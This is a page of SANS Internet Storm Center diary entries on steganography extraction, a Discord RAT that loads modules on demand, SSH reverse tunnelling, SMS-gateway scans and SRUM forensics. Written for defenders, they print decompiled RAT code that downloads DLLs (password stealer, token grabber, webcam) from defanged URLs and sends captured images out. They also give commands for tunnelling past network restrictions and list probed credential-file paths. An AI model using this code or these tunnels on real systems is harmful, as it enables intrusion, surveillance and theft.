Tag Archives: Security

Steganography Challenge: My Solution, (Sat, May 10th)

This post was originally published on this site

When I tried to solve "Steganography Challenge" with the same method as I used in "Steganography Analysis With pngdump.py: Bitstreams", I couldn't recover the text message.

So I looked into the source code of the encoding function EncodeNRGBA, and noticed this:

To encode each of the pixels, there are 2 nested for loops: "for x" and "for y". This means that first the column is processed (y).

While a raw bitmap is one line after the other (and not one column after the other). Thus we need to transpose the raw bitmap (rows and columns need to be swapped):

And as 8-bit RGB encoding is used for pixels, each pixel is encoded with 3 bytes, that need to be transposed correctly:

This transposition can be done with my tool translate.py and the necessary Python function. I wrote this one to do the transposition:

def Transpose(data, size, width, height):
    result = []
    for x in range(width):
        for y in range(height):
            i = y * width + x
            result.append(data[i*size:(i + 1)*size])
    return b''.join(result)

So let's decode this.

First we need the dimensions of the image:

1195 pixels wide and 642 pixels high.

With this information, I can do the transposition with translate.py (3 is the number of bytes per pixel): Transpose(data, 3, 1195, 642)

Then I use the following command to decode the size of the message. It's the same command as I used in diary entry "Steganography Analysis With pngdump.py: Bitstreams", except that this time there's an extra step (translate) to do the transposition:

pngdump.py -R -d encoded_stegosaurus.png | translate.py -f -s transpose.py "lambda data: Transpose(data, 3, 1195, 642)" | cut-bytes.py 0:32l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | format-bytes.py

The message is 547 bytes long. Let's decode this:

pngdump.py -R -d encoded_stegosaurus.png | translate.py -f -s transpose.py "lambda data: Transpose(data, 3, 1195, 642)" | cut-bytes.py 32:4376l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>"

We were able to extract the text message (a partial copy from the Wikipedia article on Stegosaurus).

But what surprised me is the lack of space characters … I though that this could hardly be due to an error in the decoding, so I took a look at the test encoder source code. Line 19 contains the message encoded as decimal bytes, and I noticed that there are no values equal to 32 (that's the space character). Decoding this line with numbers-to-string.py does indeed reveal that there are no space characters in the source code:

The solution to this challenge is identical to the one described in diary entry "Steganography Analysis With pngdump.py: Bitstreams", with one important difference: we need to transpose lines and columns.

Finally, if you would want to write this command as a one-liner without a file containing the source code for the Transpose Python function, you can to this with nested list comprehensions, but it's less readable:

pngdump.py -R -d encoded_stegosaurus.png | translate.py -f "lambda data: b''.join([b''.join([data[(y*1195+x)*3:(y*1195+x+1)*3] for y in range(642)]) for x in range(1195)])" | cut-bytes.py 32:4376l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>"

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

No Internet Access? SSH to the Rescue!, (Thu, May 8th)

This post was originally published on this site

This quick diary is a perfect example of why I love Linux (or UNIX in general) operating system. There is always a way to "escape" settings imposed by an admin…

Disclaimer: This has been used for testing purpose in the scope of a security assessment project. Don't break your organization security policies!

To perform some assessments on a remote network, a Customer provided me a VM running Ubuntu and reachable through SSH (with IP filtering, only SSH key authentication, etc). Once logged on the system, I started to work but I was lacking of some tools and decided to install them. Bad news… The VM had no Internet access. No problem, we have an SSH access!

Let's assume the following enrivonment:

  • server.acme.org is the VM. SSH listening on port 65022.
  • client.sans.edu is my workstation with SSH listening on port 22.

Step 1: From client.sans.edu, connect to the server via one terminal and create a reverse tunnel ("-R" option)

ssh -p 65022 -i .ssh/privatekey -R 2222:localhost:22 xavier@server.acme.org

Step 2: Start a second session to the server, from a second terminal

ssh -p 65022 -i .ssh/privatekey xavier@server.acme.org

Step 3: From the second session, connect back to the client and setup a dynamic port forwaring ("-D")

ssh -p 2222 -D 1080 xavier@localhost

Step 4: From the fist session, create environment variables:

export http_proxy=socks5h://127.0.0.1:1080
export https_proxy=socks5h://127.0.0.1:1080
curl https://ipinfo.io/

Curl should tell you that your IP address is the one of client.sans.edu!

Now, all tools handling these variables will have access to the Interneet through your client! Slow but effective!

They are for sure many other ways to achieve this but… that's the magic of UNIX, always plenty of way to solve issues… Please share your idea or techiques!

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Example of "Modular" Malware, (Wed, May 7th)

This post was originally published on this site

Developers (of malware as well as goodware) don't have to reinvent the wheel all the time. Why rewrite a piece of code that was development by someone else? In the same way, all operating systems provide API calls (or system calls) to interact with the hardware (open a file, display a pixel, send a packet over the wire, etc). These system calls are grouped in libraries (example: Windows provided wininet.dll to interact with networks).

Briefly, Developers have different ways to use libraries:

  • Static linking: The library is added (appended) to the user code by thelinker at compilation time.
  • Dynamic loading: The library is loaded by the "loader" when the program is started and made available to the program (the well-known "DLL" files)
  • On-demand loading: The Developer decides that it's now time to load an extra DLL in the program environment.

In the malware ecosystem, the third method is pretty cool because Attackers can develop "modular" malware that will expand their capabilities only when needed. Let's imagine a malware that will first perform a footprint of the victim's computer. If the victim is an administrative employee and some SAP-related files or processes are discovered by the malware, it can fetch a specific DLL from a C2 server and load it to add features targeting SAP systems. Besides the fact that the malware is smaller, the malware may look less suspicious.

Here is an example of such malware that expands its capabilities on demand. The file is a Discord RAT (SHA256:9cac561e2da992f974286bdb336985c1ee550abd96df68f7e44ce873ef713f4e)[1]. The sample is a .Net malware and can be easily decompiled. Good news, there is no obfuscation implemented and the code is pretty easy to read.

The list of "modules" or external DLLs is provided in a dictionary:

public static Dictionary<string, string> dll_url_holder = new Dictionary<string, string>
{
  { "password", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/PasswordStealer.dll" },
  { "rootkit", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/rootkit.dll" },
  { "unrootkit", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/unrootkit.dll" },
  { "webcam", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Webcam.dll" },
  { "token", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Token%20grabber.dll" }
};

Let's take an example: Webcam.dll:

remnux@remnux:/MalwareZoo/20250507$ file Webcam.dll
Webcam.dll: PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows

DLLs are loaded only when required by the malware. The RAT has a command "webcampic" to take a picture of the victim:

"--> !webcampic = Take a picture out of the selected webcam"

Let's review the function associated to this command:

public static async Task webcampic(string channelid)
{
    if (!dll_holder.ContainsKey("webcam"))
    {
        await LoadDll("webcam", await LinkToBytes(dll_url_holder["webcam"]));
    }
    if (!activator_holder.ContainsKey("webcam"))
    {
        activator_holder["webcam"] = Activator.CreateInstance(dll_holder["webcam"].GetType("Webcam.webcam"));
        activator_holder["webcam"].GetType().GetMethod("init").Invoke(activator_holder["webcam"], new object[0]);
    }
    object obj = activator_holder["webcam"];
    obj.GetType().GetMethod("init").Invoke(activator_holder["webcam"], new object[0]);
    if ((obj.GetType().GetField("cameras").GetValue(obj) as IDictionary<int, string>).Count < 1)
    {
        await Send_message(channelid, "No cameras found!");
        await Send_message(channelid, "Command executed!");
        return;
    }
    try
    {
        byte[] item = (byte[])obj.GetType().GetMethod("GetImage").Invoke(obj, new object[0]);
        await Send_attachment(channelid, "", new List<byte[]> { item }, new string[1] { "webcam.jpg" });
        await Send_message(channelid, "Command executed!");
    }
    catch
    {
        await Send_message(channelid, "Error taking picture!");
        await Send_message(channelid, "Command executed!");
    }
}

"dll_holder" is a dictionary that contains addresses of loaded DLLs:

public static async Task LoadDll(string name, byte[] data)
{
    dll_holder[name] = Assembly.Load(data);
}

In the webcam function, if the DLLS has not been loaded yet, the DLL file is fetched from the Git repository, converted into a byte array and loaded in memory. Once the DLL is loaded, the main class is used. Here is the decompiled code of Webcam.dll:

namespace Webcam
{
    public class webcam
    {
        public static Dictionary<string, bool> ready = new Dictionary<string, bool>();
        public static Dictionary<string, Bitmap> holder = new Dictionary<string, Bitmap>();
        public static Dictionary<int, string> cameras = new Dictionary<int, string>();
        public static int selected = 1;
        public static string GetWebcams()
        {
            // Code removed
        }
        public static byte[] GetImage()
        {
            // Code removed
        }
        private static void video_NewFrame(object sender, NewFrameEventArgs eventArgs, string key)
        {
            // Code removed
        }
        public static bool select(int num)
        {
            // Code removed
        }
        public static void init()
        {
            GetWebcams();
        }
    }
}

This is simple example of a "modular" malware! Happy Hunting!

[1] https://www.virustotal.com/gui/file/9cac561e2da992f974286bdb336985c1ee550abd96df68f7e44ce873ef713f4e/details

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Steganography Analysis With pngdump.py: Bitstreams, (Thu, May 1st)

This post was originally published on this site

A friend asked me if my pngdump.py tool can extract individual bits from an image (cfr. diary entry "Steganography Analysis With pngdump.py").

It can not. But another tool can: format-bytes.py.

In the diary entry I mentioned, a PE file is embedded inside a PNG file according to a steganographic method: all the bytes of a channel are replaced by the bytes that make up the PE file. If one would visualize this image, it would be clear that it represents nothing. That it just looks like noise.

Often with steganography, the purpose is to hide a message in some medium, without distorting that medium too much. If it's a picture for example, then one would not notice a difference between the original picture and the altered picture upon visual inspection.

This is often achieved by making small changes to the colors that define individual pixels. Take an 8-bit RGB encoding: each pixel is represented by 3 bytes, one for the intensity of the color red, one for green and one for blue. By changing just the least significant bit (LSB) of each byte that represents the RGB color of the pixel, one can encode 3 bits, without noticable change in the final color (it's a change smaller than 0.5% (1/256)).

Take these pictures for example:

The one on the left is the original picture, the one on the right has an embedded PE file (via LSB steganography). I can't see a difference.

To extract the PE file from the picture on the right, one has to extract the LSB of each color byte, and assemble them into bytes. This can be done with format-bytes.py.

format-bytes.py takes binary data as input and parses it per the instructions of the analyst. I typically use it to parse bytes, like in this example:

format-bytes.py -f "<IBB"

This means the input data should be parsed as a unsigned 32-bit integer (I), little-endian (<), followed by two unsigned bytes (BB).

But format-bytes.py can also extract individual bits: this is done with bitstream processing. Let me show you an example.

The steganographic lake image I created contains an embedded PE file. The bits that make up the bytes of the PE file, are stored in the least significant bit of each color byte of the pixels in the image.

First I encoded the length of the PE file as an unsigned, little-endian 32-bit integer. Using the LSBs of the pixels. And then followed by the PE file itself, also encoded in the LSBs of the pixels.

The following command decodes the length:

pngdump.py -R -d lake-exe.png   | cut-bytes.py 0:32l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>"   | format-bytes.py

pngdump.py's option -R extracts the raw bitmap of the image, option -d does a binary dump.

This bitmap data is piped into cut-bytes.py to select the first 32 bytes (0:32l). We want the first 32 bytes to extract the 32 LSBs that make up the length of the embedded PE file.

format-bytes.py's option -f "bitstream=f:B,b:0,j:>" instructs the tool to operate on the bit level (bitstream) and to treat the incoming data as individual unsigned bytes (f:B, e.g., format B), to select the least significant bit (b:0, e.g., the bit at position 0 in the byte) and to assemble the extracted bits into bytes in big-endian order (j:>, e.g., join in big-endian order).

That produces 4 bytes, that can then be piped again into another instance of format-bytes, this time to parse the integer.

This output produced by the second instance of format-bytes.py, represents the incoming data in different formats. The line that starts with 4I shows the formatting of 4-byte long integers. ul stand for unsigned & little-endian. Thus the length of the PE file is 58120, this is stored in the LSBs of the first 32 bytes of the raw image.

Now that we know the length of the PE files, we know how many bits to extract: 58120 * 8 = 464960. So from the 32nd byte in the raw image, we take 464960 bytes and process them with the same bitstream method (but this time, I do an HEX/ASCII dump (-a) to view the extracted PE file):

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -a -f "bitstream=f:B,b:0,j:>" | headtail.py

This looks indeed as a PE file. Let's do a binary dump and pipe it into tools file-magic.py and pecheck.py to verify that it is indeed a valid PE file:

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | file-magic.py

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | pecheck.py | headtail.py

We did extract a valid PE file.

And as a final check, since I know the hash of the original file, let's validate it with hash.py:

pngdump.py -R -d lake-exe.png | cut-bytes.py 32:464960l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | hash.py -v 0a391054e50a4808553466263c9c3b63e895be02c957dbb957da3ba96670cf34

As Johannes explained in his Stormcast episode, there are many ways to encode data using steganography, and it's often hard to detect/extract unless you know the exact algorithm. I was able to decode it with my tools, because I knew exactly how the PE file was encoded (as I did it myself ๐Ÿ™‚ ).

You can find many (online) steganography tools, but they don't always explain how they encode a payload.

If you are interested, tune in this Saturday, I will present you with a challenge diary entry. ๐Ÿ™‚

 

Didier Stevens
Senior handler
blog.DidierStevens.com

 

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

More Scans for SMS Gateways and APIs, (Tue, Apr 29th)

This post was originally published on this site

Last week, I wrote about scans for Teltonika Networks SMS Gateways. Attackers are always looking for cheap (free) ways to send SMS messages and gain access to not-blocklisted numbers. So, I took a closer look at similar scans we have seen. 

There are numerous ways to send SMS messages; using a hardware SMS gateway is probably one of the more fancy ways to do so. Most websites use messaging services. For example, we do see scans for SMS plugins for WordPress:

These scans look for style sheet files (.css) that are part of the respective plugins. It is fair to assume that if the respective style sheet is present, the attacker will attempt to obtain access to the site:

/wp-content/plugins/sms-alert/css/admin.css
/wp-content/plugins/mediaburst-email-to-sms/css/clockwork.css
/wp-content/plugins/verification-sms-targetsms/css/targetvr-style.css
/wp-content/plugins/wp-sms/assets/css/admin-bar.css
/wp-content/plugins/textme-sms-integration/css/textme.css
/wp-content/plugins/sms-alert/css/admin.css

 

We also got a few odd, maybe broken, scans like:

/api/v1/livechat/sms-incoming/%%target%%/wp-content/themes/twentytwentyone/assets/css/print.css
/api/v1/livechat/sms-incoming/%%target%%/wp-content/themes/twentytwentyone/assets/js/responsive-embeds.js

 

The "%%target%%" part was likely supposed to be replaced with a directory name.

And we have scans for some configuration files that may contain credentials for SMS services like:

/twilio/.config/bin/aws/lib/.env
/twilio-labs/configure-env
/twillio_creds.php
/twilio/.secrets
/sms_config.json
/sms/actuator/env
/sms/env

And many similar URLs.

Scans also look for likely API endpoints used to send SMS messages. I am not sure if they are associated with a particular product or software:

/sms/api/
/api/v1/livechat/sms-incoming/twilio
/sms.py
/Sms_Bomber.exe

SMS_bomber.exe is a script designed to send mass SMS messages [1]. The scans may attempt to identify copies left behind by other attackers.

SMS_bomber also suggests the use of a proxy, and we have some scans that are looking for proxies to find websites used to send SMS:

https://sms-activate.org
 

Not properly securing SMS gateways or credentials used to connect to SMS services could result in significant costs if an attacker abuses the service. It may also make the phone number unusable, as telecom providers and end users will block it. This may also result in reputational damage, and you will likely have to use a different phone number after it has been abused.

 

[1] https://github.com/iAditya-Nanda/SMS_Bomber


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

SRUM-DUMP Version 3: Uncovering Malware Activity in Forensics, (Sun, Apr 27th)

This post was originally published on this site

body { font-family: Arial, sans-serif; line-height: 1.6; margin: 20px; }
h1, h2, h3 { color: #333; }
a { color: #007bff; text-decoration: none; }
a:hover { text-decoration: underline; }
table { border-collapse: collapse; width: 100%; margin: 20px 0; }
th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
th { background-color: #f2f2f2; }
code { background-color: #f4f4f4; padding: 2px 4px; border-radius: 4px; }
pre { background-color: #f4f4f4; padding: 10px; border-radius: 4px; }

SRUM-DUMP Version 3: Uncovering Malware Activity in Forensics

For digital forensics and incident response professionals, extracting precise evidence from Windows systems is critical to understanding and mitigating threats. I’m excited to introduce SRUM-DUMP Version 3, a powerful forensic tool I’ve developed to analyze the Windows System Resource Usage Monitor (SRUM) database. Available on GitHub at SRUM-DUMP Repository, this version offers significant improvements, including a user-friendly GUI and customizable output. In this post, I’ll guide you through using SRUM-DUMP v3’s GUI to investigate a scenario where malware (malware.exe) exfiltrates intellectual property over a wireless network. We’ll explore the 3-step wizard, customize the analysis to highlight malware.exe, and examine where it appears in the output spreadsheet and what each tab reveals about the incident.

What is SRUM-DUMP Version 3?

SRUM-DUMP v3 is designed to extract and analyze data from the SRUM database (C:WindowsSystem32srusrudb.dat), which logs system resource usage for up to 30 days. This database is a treasure trove for incident response, capturing details about application executions and network activity. Key features of v3 include:

  • 3-step Wizard for Rapid Analysis: Select the output directory, srudb.dat and SOFTWARE registry key and you’re off!
  • Customizable Configuration: A short analysis generates a srum_dump_config.json file allowing you to highlight suspicious terms, map network interfaces, and format output.
  • Automated Artifact Detection: Editing the srum_dump_config.json lets you tag suspect processes, users, and networks before the analysis begins.
  • XLSX Analysis: All of the artifacts are tagged, colorized, calculated, filtered, and placed into an XLSX file for easy analysis.

Scenario: Malware Exfiltrating Intellectual Property

Imagine an attacker compromises a Windows workstation, deploying malware.exe to steal sensitive documents over a wireless network. The malware runs as an application, quietly exfiltrating data to a remote server. There is no EDR or application logging to be found but you must determine what was stolen and how. The incident response team acquires SRUDB.dat and the SOFTWARE registry hive (C:WindowsSystem32configSOFTWARE) and uses SRUM-DUMP v3 to analyze the evidence.

Using SRUM-DUMP v3’s GUI: Step-by-Step

SRUM-DUMP v3’s GUI streamlines the analysis process through a 3-step wizard, followed by configuration customization and result generation.

Step 1: Launch the 3-Step Wizard  

  1. Launch the Tool: Run the prebuilt executable, available from the Releases page.
  2. Select an Output Directory: Choose an empty directory where the tool will save the Excel spreadsheet and configuration file.
  3. Select the SRUDB.DAT File: Locate SRUDB.dat. Either from your forensics image or at C:WindowsSystem32srusrudb.dat on a live system.
  4. Select the SOFTWARE Registry Hive (Optional): Provide the SOFTWARE hive to enrich network data, such as mapping interface LUIDs to SSIDs (e.g., “CorporateWiFi”).

If you selected files that are locked by the OS on live systems, srum-dump will extract the locked files through the Volume Shadow Copies. The files are analyzed and a configuration file is built containing all of the users, network, and processes from the selected files.

Step 2: Customize the Configuration

  • After selecting files, SRUM-DUMP processes the SRUM database and generates an srum_dump_config.json file.
  • Click “EDIT” to open the configuration file.
  • Modify the “dirty_words” section to highlight suspect processes ( malware.exe in this example )

{
    "dirty_words": {
        "malware.exe": "highlight-red"
    }
}
    
  • This ensures any instance of malware.exe in the output is highlighted in red.
  • Optionally, add additional tags to suspicious users, processes, and applications. For example, if we need to (markb) was a compromised user and "CorporateWifi" was a suspicious wifi network you could add tags to the tables in srum_dump_config.json file.

{
    "SRUDbIdMapTable": {
        "3": "S-1-5-21-1234567890-0987654321-1234567890-1001 (markb) - CompromisedUser"
    },
    "network_interfaces": {
        "268435498": "CorporateWiFi - SuspectWifi"
    }
}
    
  • Save the configuration file and click “CONFIRM”.

Step 3: Generate and Review the Spreadsheet

  • Click “CONTINUE” to run the analysis with the customized configuration.
  • A progress dialog appears, and once complete, the tool saves an updated Excel spreadsheet in the output directory.
  • Open the spreadsheet to examine the results.

Where Does malware.exe Appear?

The Excel spreadsheet contains multiple tabs, each corresponding to a SRUM database table. For this scenario, we will examine just two of the locations where malware.exe will appear:

Tab Name Description Relevance to malware.exe
Application Timeline Logs application executions, including executable names, user SIDs, timestamps, and resource usage. Directly lists malware.exe in the AppId column, highlighted if configured.
Network Data Records network activity, including bytes sent/received, interface LUIDs, and timestamps. Indirectly relevant by showing network activity during malware.exe’s execution.

Application Timeline Tab

  • Content: Each row represents an application execution event over the past 30 days.
  • Where malware.exe Appears: In the AppId column, rows containing malware.exe will be highlighted in red (based on the “dirty_words” configuration).
  • Key Columns:
    • AppId: The application’s identifier (e.g., malware.exe).
    • UserSid: The security identifier of the user running the application, mappable to a username (e.g., “CompromisedUser”).
    • TimeStamp: The UTC date and time of execution (e.g., 2025-04-15 02:00:00).
    • CycleTime: CPU usage, indicating the malware’s processing intensity.
    • WorkingSetSize: Memory usage, which may reveal unusual patterns.
  • Insights for the Incident:
    • Confirms malware.exe was executed, providing a timeline of its activity.
    • Identifies the user account involved, aiding in attribution.
    • Reveals resource consumption, suggesting whether the malware was performing tasks like data encryption or exfiltration.

Network Data Tab

  • Content: Each row represents a network activity event, detailing data transfers across interfaces.
  • Relation to malware.exe: While malware.exe isn’t listed directly, you can correlate timestamps with the Application Timeline tab to identify network activity during its execution.
  • Key Columns:
    • InterfaceLuid: Identifies the network interface (e.g., wireless adapter). With the SOFTWARE hive, this may be mapped to an SSID like “CorporateWiFi.”
    • BytesSent and BytesRecvd: Quantities of data transferred (e.g., 500 MB sent).
    • TimeStamp: When the activity occurred (e.g., 2025-04-15 02:00:00).
  • Insights for the Incident:
    • High BytesSent values during malware.exe’s execution suggest data exfiltration.
    • The SSID mapping confirms the use of a specific wireless network, aligning with the scenario.
    • Timestamps link network activity to the malware’s runtime, strengthening evidence of its role.

Correlating Evidence

To reconstruct the incident:

  1. Identify malware.exe Activity: In the Application Timeline tab, note timestamps when malware.exe was active (e.g., 2025-04-15 02:00:00).
  2. Check Network Activity: In the Network Data tab, look for high BytesSent on the wireless interface at matching timestamps.
  3. Build the Timeline: Combine these findings to show that malware.exe executed and simultaneously sent large amounts of data, confirming intellectual property theft.

For example:

  • Application Timeline: malware.exe ran at 2025-04-15 02:00:00 with high CycleTime.
  • Network Data: 500 MB of BytesSent on “CorporateWiFi” at 2025-04-15 02:00:00.

This correlation provides compelling evidence of the malware’s actions.

Getting Started

Download the prebuilt executable from the Releases page and follow the GUI steps outlined above. For advanced configuration options, consult the Configuration File Documentation.

SRUM-DUMP v3 empowers you to tackle malware investigations, insider threats, and system anomalies with precision, making it an indispensable tool for modern incident response.

Learn More

I'm teaching at the following events. Come check it out!

  • SEC673 ADVANCED Python in Miami, FL June 2, 2025
  • SEC573 at SANSFire in Baltimore, MD July 14, 2025
  • SEC573 in Melbourne, VIC AU August 17, 2025
  • SEC573 in Las Vegas, NV September 22, 2025

 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Steganography Analysis With pngdump.py, (Sat, Apr 26th)

This post was originally published on this site

I like it when a diary entry like "Example of a Payload Delivered Through Steganography" is published: it gives me an opportunity to test my tools, in particular pngdump.py, a tool to analyze PNG files.

A PNG file consists of a header followed by chunks. pngdump.py shows this (sample c2219ddbd3456e3df0a8b10c7bbdf018da031d8ba5e9b71ede45618f50f2f4b6):

The IHDR chunk gives us information about the image: it's 31744 pixels wide and 1 pixel high. That's already unusual!

There are 8 bits and the colortype is 6. That's RGBA (Red, Green, Blue and Alpha/Transparency). So there are 4 channels in total with a resolution of 8 bits, thus 4 bytes per pixel.

The IDAT chunk contains the compressed (zlib) image: there's only one IDAT chunk in this image. And the line filter is None: this means that the pixel data is not encoded.

So let's take a look at the decompressed raw pixel data:

We see the letters M and Z: these letters are characteristic for the header of a PE file.

And a bit further we see the letters "This program …".

So it's clear that a PE file is embedded in the pixel data.

Every fourth byte is a byte of the PE file, and the first byte of the PE file is the second byte of the pixel data: so the PE file is embedded in the second channel of the pixel data.

We can select these bytes with a tool like translate.py, that takes a Python function to manipulate the bytes it receives.

data[1::4] is a Python slice that starts with the second byte (position 1), ends when there is no more data, and selects every fourth byte (a step of 4). This allows us to extract the second channel:

pngdump.py's option -d performs a binary dump, piping the raw pixel data into translate.py. translate.py's option -f reads all the data in one go (by default, translate.py operates byte per byte). lambda data: data[11:4] is a Python function that takes the raw pixel data as input (data) and returns the bytes of the second channel via a Python slice that selects every fourth byte starting with the second byte of the raw pixel data.

Finally, the extracted PE file is piped into file-magic.py to identify the file type: it is a .NET file, as Xavier explained.

We can also check that it is a PE file with a tool like pecheck.py:

And we can calculate the hashes with hash.py to look up the file on VirusTotal:

This is the SHA256 of the extracted PE file: 8f4cea5d602eaa4e705ef62e2cf00f93ad4b03fb222c35ab39f64c24cdb98462.

It's clear that the steganography works in this example: 0 detections for the PNG file on VirusTotal, and 49 detections for the embedded PE file.

 

 

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.